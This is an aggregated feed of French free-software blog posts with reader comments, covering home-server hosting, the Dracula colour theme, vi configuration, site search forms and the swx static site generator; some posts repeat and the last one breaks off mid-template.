<p><b>@<a href="https://yeuxdelibad.net/#idf7a2e2">utux</a> :</b> J'y ai pensé, mais un VPS ne me permet pas de garder les données chez moi.<br>Et du mail sur un VPS, c'est pas évident...</p>

</div>

<div><h4>le 06/05/2018 à 13:51:27, <b>PengouinPdt</b> a dit :</h4>
<p>Mon petit doigt me dit qu'il connaît même un serveur qu'il pourrait utiliser, qui à-priori supporte bien la charge... qu'il pourrait le faire pour la partie web, à minima... <br>Qu'il n'y a aucun problème qu'il l'utilise pour cela...</p>

<p>Mais bon, chacun fait ses choix, hein ! ;)</p>

</div>

<div><h4>le 06/05/2018 à 16:13:45, <b>thuban</b> a dit :</h4>
<p><b>@<a href="https://yeuxdelibad.net/#id500c5f">PengouinPdt</a> :</b> Ça ne change rien au fait que je veux garder les données chez moi.<br>Le CHATONS que j'héberge se vante de respecter les utilisateurs. Si je mettais leurs données et leurs mails sur un autre serveur, ça serait incohérent.</p>

<p>Pour ce qui est de mon blog perso ou mon site, c'est juste par caprice, je veux m'auto-héberger, car je peux le faire.</p>

</div>
</div>
<p><img src="media/0d200000.a17c14dbfc42f0936cee56ed7a9b3b31" data-original-source="http://cdn.libravatar.org/avatar/a17c14dbfc42f0936cee56ed7a9b3b31" alt="Gravatar de Thuban" class="gravatar" /><br/><i>Original post of <a href="https://yeuxdelibad.net/Journal/2018/04/23/que-cest-lent.html" title="Visit the source">Thuban</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


title: Thuban : Déménagement du serveur terminé (yeuxdelibad.net, 3hg.fr, ouaf.xyz) ✓
uri: Thuban-Déménagement-du-serveur-terminé-(yeuxdelibad-net-3hg-fr
feed_id:
https://yeuxdelibad.net/Journal/2018/04/20/demenagement-du-serveur-termine-yeuxdelibadnet-3hgfr-ouafxyz.html

url:
https://yeuxdelibad.net/Journal/2018/04/20/demenagement-du-serveur-termine-yeuxdelibadnet-3hgfr-ouafxyz.html

content:
<h1>Déménagement du serveur terminé (yeuxdelibad.net, 3hg.fr, ouaf.xyz) ✓</h1>

<p>Ça y est, mon fournisseur d'accès à internet a déménagé ma ligne après qu'orange ait enfin terminé d'installer ma ligne.<br>Il reste du temps pour que les DNS se propagents, et je suppose qu'il restera des petits détails à régler, mais c'est une bonne chose de faite.</p>




<div><img src="media/aa43894e.dnspropag.png" data-original-source="https://yeuxdelibad.net/Journal/img/25/dnspropag.png" alt=""></div>




<p>N'hésitez pas à me rapporter ici d'éventuels soucis.</p>


<div></div>
<p><img src="media/0d200000.a17c14dbfc42f0936cee56ed7a9b3b31" data-original-source="http://cdn.libravatar.org/avatar/a17c14dbfc42f0936cee56ed7a9b3b31" alt="Gravatar de Thuban" class="gravatar" /><br/><i>Original post of <a href="https://yeuxdelibad.net/Journal/2018/04/20/demenagement-du-serveur-termine-yeuxdelibadnet-3hgfr-ouafxyz.html" title="Visit the source">Thuban</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


title: Thuban : dracula - une palette de couleurs pour vos applications
uri: 2018-05-26-Thuban-dracula-une-palette-de-couleurs-pour-vos-applications
feed_id:
https://yeuxdelibad.net/Journal/2018/04/19/dracula---une-palette-de-couleurs-pour-vos-applications.html

url:
https://yeuxdelibad.net/Journal/2018/04/19/dracula---une-palette-de-couleurs-pour-vos-applications.html

content:
<h1>dracula - une palette de couleurs pour vos applications</h1>

<p>J'ai pendant longtemps utilisé le très célèbre thème de couleurs "solarized". Une fois qu'on s'y est habitué, il faut admettre qu'il est très reposant pour les yeux.</p>




<p>Cependant, j'en ai eu marre et eu envie de tester une alternative : <a href="https://draculatheme.com/">dracula</a></p>




<p>Plus sombre que son prédécesseur, il est à mon avis plus agréable.</p>




<p><img src="media/2e92c8ac.mutt.png" data-original-source="https://draculatheme.com/assets/img/screenshots/mutt.png" alt="alt"></p>




<p>Vous trouverez des thèmes pour la plupart des applications.<br>Ci-dessous, voici les couleurs pour dmenu :</p>




<pre><code># draculaNB="#282a36"NF="#f8f8f2"SB="#44475a"SF="#8be9fd"FN="Hack-10"COLORS="-fn $FN -nb $NB -nf $NF -sb $SB -sf $SF"</code></pre>




<p>Et pour xterm (fichier .Xdefaults)</p>




<pre><code>! Dracula Xresources palette*.foreground: #F8F8F2*.background: #282A36*.color0:     #000000*.color8:     #4D4D4D*.color1:     #FF5555*.color9:     #FF6E67*.color2:     #50FA7B*.color10:    #5AF78E*.color3:     #F1FA8C*.color11:    #F4F99D*.color4:     #BD93F9*.color12:    #CAA9FA*.color5:     #FF79C6*.color13:    #FF92D0*.color6:     #8BE9FD*.color14:    #9AEDFE*.color7:     #BFBFBF*.color15:    #E6E6E6</code></pre>




<p>Il y a même un patch pour <a href="https://st.suckless.org/patches/dracula/">st</a></p>




<p>enjoy ;)</p>


<div>
<div><h4>le 21/04/2018 à 16:24:00, <b>Comete</b> a dit :</h4>
<p>Moi j'utilise celui-ci, depuis de nombreuses années, qui est pas mal non plus... conjointement avec le theme pour Vim: Wombat256</p>

<p>*foreground: #909090<br>*background: #1c1c1c<br>*color0: #1C1C1C<br>*color8: #404040<br>*color1: #B85335<br>*color9: #d7875f<br>*color2: #87d75f<br>*color10: #d7ff87<br>*color3: #FFB964<br>*color11: #FAD07A<br>*color4: #7292d2<br>*color12: #87afff<br>*color5: #b87ab8<br>*color13: #dbbddb<br>*color7: #909090<br>*color15: #e4e4e4</p>

<p>! color man pages<br>*VT100*colorMode: on<br>*VT100*boldColors: on<br>*VT100*dynamicColors: on<br>*VT100*colorULMode: on<br>*VT100*underLine: off<br>*VT100*colorBDMode: on<br>*VT100*colorUL: #87d75f<br>*VT100*colorBD: #e04613</p>

</div>

<div><h4>le 22/04/2018 à 10:34:48, <b>sogal</b> a dit :</h4>
<p>Yeah !<br>Très sympa ce thème, un bon équilibre entre solarized dark et monokai que j'aime beaucoup tous les deux !</p>

<p>Du coup j'ai fait un petit thème pour Tilix :</p>

<pre><code>cat ~/.config/tilix/schemes/Dracula.json </code></pre>

<pre><code>{    "background-color": "#282936",    "badge-color": "#FFFFFF",    "bold-color": "#FFFFFF",    "comment": "",    "cursor-background-color": "#BABDB6",    "cursor-foreground-color": "#BBBBBB",    "foreground-color": "#F8F8F2",    "highlight-background-color": "#F8F8F8",    "highlight-foreground-color": "#888A85",    "name": "Dracula",    "palette": [        "#000000",        "#FF5454",        "#50FA7B",        "#F7CA88",        "#BD93F9",        "#FF79C6",        "#8BE8FD",        "#BBBBBB",        "#44475A",        "#FF5454",        "#50FA7A",        "#F1FA8C",        "#BD93F9",        "#FF79C6",        "#8BE8FD",        "#FFFFFF"    ],    "use-badge-color": false,    "use-bold-color": false,    "use-cursor-color": true,    "use-highlight-color": true,    "use-theme-colors": false}</code></pre>

<p>Merci pour cet article découverte !</p>

</div>
</div>
<p><img src="media/0d200000.a17c14dbfc42f0936cee56ed7a9b3b31" data-original-source="http://cdn.libravatar.org/avatar/a17c14dbfc42f0936cee56ed7a9b3b31" alt="Gravatar de Thuban" class="gravatar" /><br/><i>Original post of <a href="https://yeuxdelibad.net/Journal/2018/04/19/dracula---une-palette-de-couleurs-pour-vos-applications.html" title="Visit the source">Thuban</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://yeuxdelibad.net/Journal/2018/04/18/configurer-vi-et-pas-vim.html
title: Thuban : Configurer vi (et pas vim)
uri: Thuban-Configurer-vi-(et-pas-vim)
url: https://yeuxdelibad.net/Journal/2018/04/18/configurer-vi-et-pas-vim.html
content:
<h1>Configurer vi (et pas vim)</h1>

<p>Pour les barbus fervents de minimalisme, pas besoin de vim, <b>vi</b> suffit à lui tout seul :)</p>




<p>Afin de le configurer, il faut éditer le fichier <code>~/.exrc</code>. Voici le contenu (tout petit) du mien :</p>




<pre><code>set showmodeset numberset rulerset tabstop=4set shiftwidth=4 set autoindent</code></pre>




<p>Le "man vi" vous donnera des détails si besoin ;)</p>


<div>
<div><h4>le 18/04/2018 à 09:40:58, <b>karchnu</b> a dit :</h4>
<p>En même temps vi a presque tout ce dont j'ai besoin… pas mal pour un petit programme qui a plus de 40 ans.</p>

</div>

<div><h4>le 18/04/2018 à 10:15:18, <b>Starsheep</b> a dit :</h4>
<p>Je pense que tu peux aller encore plus loin dans le minimalisme : ed.</p>

<p>Bon courage. :D</p>

</div>

<div><h4>le 18/04/2018 à 17:12:48, <b>thuban</b> a dit :</h4>
<p><b>@<a href="https://yeuxdelibad.net/#id667048">Starsheep</a> :</b> En fait, "ed" et "vi" font partie du même programme, ce sont juste deux interfaces différentes.<br>Mais clairement, vi est plus facile :)<br>Sinon, chiche ! Je te regarde ;)</p>

</div>

<div><h4>le 18/04/2018 à 21:02:25, <b>fougasse</b> a dit :</h4>
<p><b>@<a href="https://yeuxdelibad.net/#id1009d1">thuban</a> :</b></p>

<blockquote>En fait, "ed" et "vi" font partie du même programme, ce sont juste deux interfaces différentes.</blockquote>

<p> → tu veux dire "<b>ex</b>" et "vi" font partie du même programme non ?</p>

</div>

<div><h4>le 18/04/2018 à 21:18:56, <b>thuban</b> a dit :</h4>
<p><b>@<a href="https://yeuxdelibad.net/#id7aff75">fougasse</a> :</b> Ah oui, pardon, c'est bien "ex", j'ai confondu.</p>

</div>

<div><h4>le 19/04/2018 à 20:01:27, <b>trefix</b> a dit :</h4>
<p>Idéal pour bosser, en toutes circonstance : le "vi" et le couteau :D</p>

<p> /me => []</p>

</div>
</div>
<p><img src="media/0d200000.a17c14dbfc42f0936cee56ed7a9b3b31" data-original-source="http://cdn.libravatar.org/avatar/a17c14dbfc42f0936cee56ed7a9b3b31" alt="Gravatar de Thuban" class="gravatar" /><br/><i>Original post of <a href="https://yeuxdelibad.net/Journal/2018/04/18/configurer-vi-et-pas-vim.html" title="Visit the source">Thuban</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


uri: Miamondo-Automatiser-la-mise-en-page-d-un-roman-grâce-à-un-petit
feed_id:
https://miamondo.org/2018/05/26/automatiser-la-mise-en-page-dun-roman-grace-a-un-petit-script-python-en-utilisant-les-outils-pandoc-et-pdftk/

title:
Miamondo : Automatiser la mise en page d’un roman grâce à un petit script Python, en utilisant les outils pandoc et pdftk

url:
https://miamondo.org/2018/05/26/automatiser-la-mise-en-page-dun-roman-grace-a-un-petit-script-python-en-utilisant-les-outils-pandoc-et-pdftk/

content:
<p>Bonjour, Aujourd'hui, je vais vous prouver que la paresse a des vertus insoupçonnées car c'est elle qui nous pousse à nous creuser les méninges pour en faire le moins possible. Je suis actuellement en train de corriger les derniers chapitres d'un roman intitulé  On ira tou·te·s au Paradis. Si vous cliquez sur ce lien, vous accédez... <a href="https://miamondo.org/2018/05/26/automatiser-la-mise-en-page-dun-roman-grace-a-un-petit-script-python-en-utilisant-les-outils-pandoc-et-pdftk/#more-19694">Lire la suite →</a></p>
<p><img src="media/848c13f4.27be241458674ac3359b0353fdc37c4a" data-original-source="http://cdn.libravatar.org/avatar/27be241458674ac3359b0353fdc37c4a" alt="Gravatar de Miamondo" class="gravatar" /><br/><i>Original post of <a href="https://miamondo.org/2018/05/26/automatiser-la-mise-en-page-dun-roman-grace-a-un-petit-script-python-en-utilisant-les-outils-pandoc-et-pdftk/" title="Visit the source">Miamondo</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>
<p><div class="similar-block"><h3>Articles similaires</h3><ul><li>Miamondo : <a href="">Programmer une fen&ecirc;tre de d&eacute;connexion en langage Python</a> (06/01/2018)</li><li>theClimber : <a href="">Un regard en avant vers GNOME 3.0</a> (02/04/2009)</li><li>theClimber : <a href="">Ma configuration Vi / Vim / gVim</a> (11/02/2009)</li><li>theClimber : <a href="">R&eacute;cup&eacute;rer les tweets d&#039;une instance statusnet en live avec javascript</a> (02/02/2011)</li><li>Miamondo : <a href="">Plank, un dock tr&egrave;s l&eacute;ger et ais&eacute;ment configurable</a> (31/12/2017)</li></ul></div></p>


feed_id: https://yeuxdelibad.net/Journal/2018/04/formulaire-de-recherche-sur-votre-site.html
title: Thuban : Formulaire de recherche sur votre site
uri: 2018-05-27-Thuban-Formulaire-de-recherche-sur-votre-site
url: https://yeuxdelibad.net/Journal/2018/04/formulaire-de-recherche-sur-votre-site.html
content:
<h1>Formulaire de recherche sur votre site</h1>

<p>Si vous souhaitez ajouter un formulaire de recherche sur votre site, vous pouvez insérer le code html suivant :</p>




<p>Avec duckduckgo :</p>




<pre><code><form action="https://duckduckgo.com/" method="get">   <label for="q">Cherche sur votresite.tld</label>  <input type="text" name="q" value="">   <input type="hidden" name="sites" value="votresite.tld">    <input type="hidden" name="ia" value="web"> <input type="submit" value="search"></form></code></pre>




<p>Avec qwant :</p>




<pre><code><form method="GET" action="https://www.qwant.com" id="form" onsubmit="addSiteSearch()"><label for=q >Chercher sur votresite.tld</label><input type="text" name="q" id="query" size="31" maxlength="255" value=""><input type="hidden" name="l" value="fr"><input type="submit" name="btnG" value="?"></form><script type="text/javascript">        function encodeHTML(s) {        return s.replace(/&amp;/g, '&amp;').replace(/</g, '<').replace(/"/g, '"');}        function addSiteSearch() {        document.getElementById('query').value = encodeHTML(document.getElementById('query').value) + " site:votresite.tld";}</script></code></pre>




<p>Dans chaque exemple, pensez à modifier le champ "votresite.tld".</p>




<p>Le formulaire de qwant nécessite l'activation de javascript... Ce n'est pas du code exotique, mais ça peut en chagriner certains.</p>




<p>À vous ;)</p>


<div></div>
<p><img src="media/0d200000.a17c14dbfc42f0936cee56ed7a9b3b31" data-original-source="http://cdn.libravatar.org/avatar/a17c14dbfc42f0936cee56ed7a9b3b31" alt="Gravatar de Thuban" class="gravatar" /><br/><i>Original post of <a href="https://yeuxdelibad.net/Journal/2018/04/formulaire-de-recherche-sur-votre-site.html" title="Visit the source">Thuban</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://yeuxdelibad.net/Journal/2018/04/que-cest-lent.html
title: Thuban : Que c'est lent...
uri: 2018-05-27-Thuban-Que-c-est-lent
url: https://yeuxdelibad.net/Journal/2018/04/que-cest-lent.html
content:
<h1>Que c'est lent…</h1>

<p>Depuis le déménagement de ma ligne, l'accès à mon serveur est particulièrement lent... Et j'en suis désolé :s</p>




<p>Dans ma nouvelle rue, les lignes téléphoniques sont suspendues à des poteaux en bois... C'est dire l'âge qu'elles ont... <br>Voici les caractéristiques de mon accès :</p>




<ul><li> Synchronisation : ↓ 608 Kbps ; ↑ 160 Kbps</li><li> Atténuation : 68.0586 dB</li><li> Distance du NRA : 6462 mètres</li><li> Type de câble : 6mm : 6462m</li></ul><p>Le NRA est loin, l'atténuation grande, le temps de réponse s'en ressent. :/<br>En attendant, j'ai contacté mon FAI à ce sujet, mais je crains qu'ils ne puissent pas y faire grand chose...</p>




<p>Normalement, la <a href="http://www.ville-coueron.fr/projets-de-ville,412/grands-travaux,425/deploiement-de-la-fibre-optique,802.html">fibre doit être déployée au cours de l'année</a> dans ma commune... J'espère !</p>


<div>
<div><h4>le 25/04/2018 à 05:29:09, <b>Mirabellette</b> a dit :</h4>
<p>Pas facile l'autohébergement dans un patelin :D</p>

</div>

<div><h4>le 26/04/2018 à 09:55:55, <b>paskal</b> a dit :</h4>
<p>Et oui, qualité de vie ne rime pas forcément avec haut-débit...<br>J'éviterai donc de charger cinq pages à la fois, promis !<br>Et puis, profiter d'un site aussi agréable se mérite. :)</p>

</div>

<div><h4>le 28/04/2018 à 14:10:05, <b>arpinux</b> a dit :</h4>
<p><b>@<a href="https://yeuxdelibad.net/#id158d08">paskal</a> :</b> vrai que ça ajoute un petit suspens à chaque consultation du site :P</p>

</div>

<div><h4>le 29/04/2018 à 07:34:20, <b>thuban</b> a dit :</h4>
<p><b>@<a href="https://yeuxdelibad.net/#id027634">arpinux</a> :</b> <br><b>@<a href="https://yeuxdelibad.net/#id158d08">paskal</a> :</b> <br>Ah les coquiins 😜</p>

</div>

<div><h4>le 01/05/2018 à 13:46:00, <b>donguid</b> a dit :</h4>
<p>J'ai connu le cas dans le sud ouest: le département fibrait à tout va ... entre les NRA. Etant à 5900 m du mien, j'avais la chance d'avoir du 511 alors que certains voisins n'avaient rien (le multiplexage et l'adsl ne sont pas copains). 511, cad la techno d'avant le 512 : j'avais repéré le fil sur le poteau qui m'amenait internet, car un jour un camion a défoncé ce câble, et plus rien. Une fois remis en place, du net. Et par temps de vent, ou lorsqu'un fichu piaf se posait sur ce câble, je constatais la baisse de débit ...</p>

<p>Sinon, de ton coin pas loin de Nantes, es tu passé voir le hackathon OpenBSD ? N'étant pas un dieu du C, je n'oserai pas approcher ce groupe de furieux ;-)</p>

</div>

<div><h4>le 01/05/2018 à 14:11:48, <b>thuban</b> a dit :</h4>
<p><b>@<a href="https://yeuxdelibad.net/#ida3de8e">donguid</a> :</b> Ça fibre dans le coin pourtant, ça devrait arriver dans l'année d'après les nouvelles de la mairie...</p>

<p>Et non, je n'ai pas eu l'occasion d'assister au hackaton. Moi non plus, je ne saurais pas participer, mais j'aurais été curieux de rencontrer ces furieux ;)</p>

</div>

<div><h4>le 05/05/2018 à 13:45:20, <b>utux</b> a dit :</h4>
<p>Loue un vps à 3€ par mois..</p>

</div>

<div><h4>le 05/05/2018 à 14:48:46, <b>thuban</b> a dit :</h4>
<p><b>@<a href="https://yeuxdelibad.net/#idf7a2e2">utux</a> :</b> J'y ai pensé, mais un VPS ne me permet pas de garder les données chez moi.<br>Et du mail sur un VPS, c'est pas évident...</p>

</div>

<div><h4>le 06/05/2018 à 13:51:27, <b>PengouinPdt</b> a dit :</h4>
<p>Mon petit doigt me dit qu'il connaît même un serveur qu'il pourrait utiliser, qui à-priori supporte bien la charge... qu'il pourrait le faire pour la partie web, à minima... <br>Qu'il n'y a aucun problème qu'il l'utilise pour cela...</p>

<p>Mais bon, chacun fait ses choix, hein ! ;)</p>

</div>

<div><h4>le 06/05/2018 à 16:13:45, <b>thuban</b> a dit :</h4>
<p><b>@<a href="https://yeuxdelibad.net/#id500c5f">PengouinPdt</a> :</b> Ça ne change rien au fait que je veux garder les données chez moi.<br>Le CHATONS que j'héberge se vante de respecter les utilisateurs. Si je mettais leurs données et leurs mails sur un autre serveur, ça serait incohérent.</p>

<p>Pour ce qui est de mon blog perso ou mon site, c'est juste par caprice, je veux m'auto-héberger, car je peux le faire.</p>

</div>
</div>
<p><img src="media/0d200000.a17c14dbfc42f0936cee56ed7a9b3b31" data-original-source="http://cdn.libravatar.org/avatar/a17c14dbfc42f0936cee56ed7a9b3b31" alt="Gravatar de Thuban" class="gravatar" /><br/><i>Original post of <a href="https://yeuxdelibad.net/Journal/2018/04/que-cest-lent.html" title="Visit the source">Thuban</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


title: Thuban : Déménagement du serveur terminé (yeuxdelibad.net, 3hg.fr, ouaf.xyz) ✓
uri: 2018-05-27-Thuban-Déménagement-du-serveur-terminé-(yeuxdelibad-net-3hg-fr
feed_id:
https://yeuxdelibad.net/Journal/2018/04/demenagement-du-serveur-termine-yeuxdelibadnet-3hgfr-ouafxyz.html

url:
https://yeuxdelibad.net/Journal/2018/04/demenagement-du-serveur-termine-yeuxdelibadnet-3hgfr-ouafxyz.html

content:
<h1>Déménagement du serveur terminé (yeuxdelibad.net, 3hg.fr, ouaf.xyz) ✓</h1>

<p>Ça y est, mon fournisseur d'accès à internet a déménagé ma ligne après qu'orange ait enfin terminé d'installer ma ligne.<br>Il reste du temps pour que les DNS se propagents, et je suppose qu'il restera des petits détails à régler, mais c'est une bonne chose de faite.</p>




<div><img src="media/aa43894e.dnspropag.png" data-original-source="https://yeuxdelibad.net/Journal/img/25/dnspropag.png" alt=""></div>




<p>N'hésitez pas à me rapporter ici d'éventuels soucis.</p>


<div></div>
<p><img src="media/0d200000.a17c14dbfc42f0936cee56ed7a9b3b31" data-original-source="http://cdn.libravatar.org/avatar/a17c14dbfc42f0936cee56ed7a9b3b31" alt="Gravatar de Thuban" class="gravatar" /><br/><i>Original post of <a href="https://yeuxdelibad.net/Journal/2018/04/demenagement-du-serveur-termine-yeuxdelibadnet-3hgfr-ouafxyz.html" title="Visit the source">Thuban</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


title: Thuban : dracula - une palette de couleurs pour vos applications
uri: 2018-05-27-Thuban-dracula-une-palette-de-couleurs-pour-vos-applications
feed_id:
https://yeuxdelibad.net/Journal/2018/04/dracula---une-palette-de-couleurs-pour-vos-applications.html

url:
https://yeuxdelibad.net/Journal/2018/04/dracula---une-palette-de-couleurs-pour-vos-applications.html

content:
<h1>dracula - une palette de couleurs pour vos applications</h1>

<p>J'ai pendant longtemps utilisé le très célèbre thème de couleurs "solarized". Une fois qu'on s'y est habitué, il faut admettre qu'il est très reposant pour les yeux.</p>




<p>Cependant, j'en ai eu marre et eu envie de tester une alternative : <a href="https://draculatheme.com/">dracula</a></p>




<p>Plus sombre que son prédécesseur, il est à mon avis plus agréable.</p>




<p><img src="media/2e92c8ac.mutt.png" data-original-source="https://draculatheme.com/assets/img/screenshots/mutt.png" alt="alt"></p>




<p>Vous trouverez des thèmes pour la plupart des applications.<br>Ci-dessous, voici les couleurs pour dmenu :</p>




<pre><code># draculaNB="#282a36"NF="#f8f8f2"SB="#44475a"SF="#8be9fd"FN="Hack-10"COLORS="-fn $FN -nb $NB -nf $NF -sb $SB -sf $SF"</code></pre>




<p>Et pour xterm (fichier .Xdefaults)</p>




<pre><code>! Dracula Xresources palette*.foreground: #F8F8F2*.background: #282A36*.color0:     #000000*.color8:     #4D4D4D*.color1:     #FF5555*.color9:     #FF6E67*.color2:     #50FA7B*.color10:    #5AF78E*.color3:     #F1FA8C*.color11:    #F4F99D*.color4:     #BD93F9*.color12:    #CAA9FA*.color5:     #FF79C6*.color13:    #FF92D0*.color6:     #8BE9FD*.color14:    #9AEDFE*.color7:     #BFBFBF*.color15:    #E6E6E6</code></pre>




<p>Il y a même un patch pour <a href="https://st.suckless.org/patches/dracula/">st</a></p>




<p>enjoy ;)</p>


<div>
<div><h4>le 21/04/2018 à 16:24:00, <b>Comete</b> a dit :</h4>
<p>Moi j'utilise celui-ci, depuis de nombreuses années, qui est pas mal non plus... conjointement avec le theme pour Vim: Wombat256</p>

<p>*foreground: #909090<br>*background: #1c1c1c<br>*color0: #1C1C1C<br>*color8: #404040<br>*color1: #B85335<br>*color9: #d7875f<br>*color2: #87d75f<br>*color10: #d7ff87<br>*color3: #FFB964<br>*color11: #FAD07A<br>*color4: #7292d2<br>*color12: #87afff<br>*color5: #b87ab8<br>*color13: #dbbddb<br>*color7: #909090<br>*color15: #e4e4e4</p>

<p>! color man pages<br>*VT100*colorMode: on<br>*VT100*boldColors: on<br>*VT100*dynamicColors: on<br>*VT100*colorULMode: on<br>*VT100*underLine: off<br>*VT100*colorBDMode: on<br>*VT100*colorUL: #87d75f<br>*VT100*colorBD: #e04613</p>

</div>

<div><h4>le 22/04/2018 à 10:34:48, <b>sogal</b> a dit :</h4>
<p>Yeah !<br>Très sympa ce thème, un bon équilibre entre solarized dark et monokai que j'aime beaucoup tous les deux !</p>

<p>Du coup j'ai fait un petit thème pour Tilix :</p>

<pre><code>cat ~/.config/tilix/schemes/Dracula.json </code></pre>

<pre><code>{    "background-color": "#282936",    "badge-color": "#FFFFFF",    "bold-color": "#FFFFFF",    "comment": "",    "cursor-background-color": "#BABDB6",    "cursor-foreground-color": "#BBBBBB",    "foreground-color": "#F8F8F2",    "highlight-background-color": "#F8F8F8",    "highlight-foreground-color": "#888A85",    "name": "Dracula",    "palette": [        "#000000",        "#FF5454",        "#50FA7B",        "#F7CA88",        "#BD93F9",        "#FF79C6",        "#8BE8FD",        "#BBBBBB",        "#44475A",        "#FF5454",        "#50FA7A",        "#F1FA8C",        "#BD93F9",        "#FF79C6",        "#8BE8FD",        "#FFFFFF"    ],    "use-badge-color": false,    "use-bold-color": false,    "use-cursor-color": true,    "use-highlight-color": true,    "use-theme-colors": false}</code></pre>

<p>Merci pour cet article découverte !</p>

</div>
</div>
<p><img src="media/0d200000.a17c14dbfc42f0936cee56ed7a9b3b31" data-original-source="http://cdn.libravatar.org/avatar/a17c14dbfc42f0936cee56ed7a9b3b31" alt="Gravatar de Thuban" class="gravatar" /><br/><i>Original post of <a href="https://yeuxdelibad.net/Journal/2018/04/dracula---une-palette-de-couleurs-pour-vos-applications.html" title="Visit the source">Thuban</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://yeuxdelibad.net/Journal/2018/04/configurer-vi-et-pas-vim.html
title: Thuban : Configurer vi (et pas vim)
uri: 2018-05-27-Thuban-Configurer-vi-(et-pas-vim)
url: https://yeuxdelibad.net/Journal/2018/04/configurer-vi-et-pas-vim.html
content:
<h1>Configurer vi (et pas vim)</h1>

<p>Pour les barbus fervents de minimalisme, pas besoin de vim, <b>vi</b> suffit à lui tout seul :)</p>




<p>Afin de le configurer, il faut éditer le fichier <code>~/.exrc</code>. Voici le contenu (tout petit) du mien :</p>




<pre><code>set showmodeset numberset rulerset tabstop=4set shiftwidth=4 set autoindent</code></pre>




<p>Le "man vi" vous donnera des détails si besoin ;)</p>


<div>
<div><h4>le 18/04/2018 à 09:40:58, <b>karchnu</b> a dit :</h4>
<p>En même temps vi a presque tout ce dont j'ai besoin… pas mal pour un petit programme qui a plus de 40 ans.</p>

</div>

<div><h4>le 18/04/2018 à 10:15:18, <b>Starsheep</b> a dit :</h4>
<p>Je pense que tu peux aller encore plus loin dans le minimalisme : ed.</p>

<p>Bon courage. :D</p>

</div>

<div><h4>le 18/04/2018 à 17:12:48, <b>thuban</b> a dit :</h4>
<p><b>@<a href="https://yeuxdelibad.net/#id667048">Starsheep</a> :</b> En fait, "ed" et "vi" font partie du même programme, ce sont juste deux interfaces différentes.<br>Mais clairement, vi est plus facile :)<br>Sinon, chiche ! Je te regarde ;)</p>

</div>

<div><h4>le 18/04/2018 à 21:02:25, <b>fougasse</b> a dit :</h4>
<p><b>@<a href="https://yeuxdelibad.net/#id1009d1">thuban</a> :</b></p>

<blockquote>En fait, "ed" et "vi" font partie du même programme, ce sont juste deux interfaces différentes.</blockquote>

<p> → tu veux dire "<b>ex</b>" et "vi" font partie du même programme non ?</p>

</div>

<div><h4>le 18/04/2018 à 21:18:56, <b>thuban</b> a dit :</h4>
<p><b>@<a href="https://yeuxdelibad.net/#id7aff75">fougasse</a> :</b> Ah oui, pardon, c'est bien "ex", j'ai confondu.</p>

</div>

<div><h4>le 19/04/2018 à 20:01:27, <b>trefix</b> a dit :</h4>
<p>Idéal pour bosser, en toutes circonstance : le "vi" et le couteau :D</p>

<p> /me => []</p>

</div>
</div>
<p><img src="media/0d200000.a17c14dbfc42f0936cee56ed7a9b3b31" data-original-source="http://cdn.libravatar.org/avatar/a17c14dbfc42f0936cee56ed7a9b3b31" alt="Gravatar de Thuban" class="gravatar" /><br/><i>Original post of <a href="https://yeuxdelibad.net/Journal/2018/04/configurer-vi-et-pas-vim.html" title="Visit the source">Thuban</a>.Votez pour ce billet sur <a href="http://www.planet-libre.org" title="Aller sur le planet">Planet Libre</a>.</i></p>


feed_id: https://yeuxdelibad.net/Journal/2018/05/Mise_a_jour_de_swx_version_06.html
title: Thuban : Mise à jour de swx en version 0.6
uri: Thuban-Mise-à-jour-de-swx-en-version-0-6
url: https://yeuxdelibad.net/Journal/2018/05/Mise_a_jour_de_swx_version_06.html
content:
<h1>Mise à jour de swx en version 0.6</h1>

<p>Afin de gérer mon site web, j'avais écrit
<a href="https://3hg.fr/Scripts/swx">swx</a>. Je me suis penché à nouveau sur son
code afin d'accorder plus d'importance au site plutôt qu'au blog. En
effet, je délaissais son contenu.
Dans cet article, je vais parler des changements apportés à swx.</p>

<h2>Principe de fonctionnement</h2>

<p>Pour rappel, <strong>swx</strong> est un ensemble de petits scripts shell permettant
de fabriquer un site statique. Il ne doit pas dépendre d'outils ou de
bibliothèques tierces, mis à part un éventuel convertisseur de langage
markup (markdown, txt2tags, pandoc…).</p>

<p>Il va prendre pour argument un dossier contenant un site web et toute sa
structure. Ce dossier et copié dans un répertoire avec l'extension
“.static”, après avoir convertit les pages et inséré un menu de
navigation.</p>

<p>D'autres scripts peuvent être lancés pour fabriquer un
sitemap, un flux atom ou une page de type “blog”.</p>

<p>Le dossier final n'a plus qu'à être envoyé sur un serveur pour être
accessible (ftp, sftp…)</p>

<p>Le tout s'utilise avec un fichier Makefile pour simplifier le processus.</p>

<h2>Les modifications récentes</h2>

<p>Dans cette nouvelle version, j'ai revu la logique de certains scripts,
notamment pour la liste des nouvelles pages.</p>

<p>Ces changements n'ont pas été détaillés sur le dépôt. Je dois m'occuper de
rédiger les pages de documentation auparavant… Par ailleurs, certains
éléments sont propres à OpenBSD, il faut les tester sous GNU avant
(commandes <code>find</code>, <code>date</code> et <code>stat</code> avec des options différentes).</p>

<h2>Détection des changements</h2>

<p>Au lieu d'utiliser rsync ou de copier tout le contenu du “dossier
modèle”, swx va désormais comparer la date de modification des fichiers
avec un fichier-repère créé automatiquement à la fin de chaque
génération. Ce fichier est <code>.swx.last</code> et se trouve dans le dossier du
site généré.</p>

<p>Pour refabriquer l'ensemble d'un site, il suffit de le supprimer.</p>

<h3>Utilisation d'un template</h3>

<p>Afin de personnaliser l'apparence des pages, l'utilisateur peut
désormais utiliser un fichier modèle (template). Ce fichier ressemble à
ceci :</p>

<pre><code><!doctype html>
<html lang="fr">
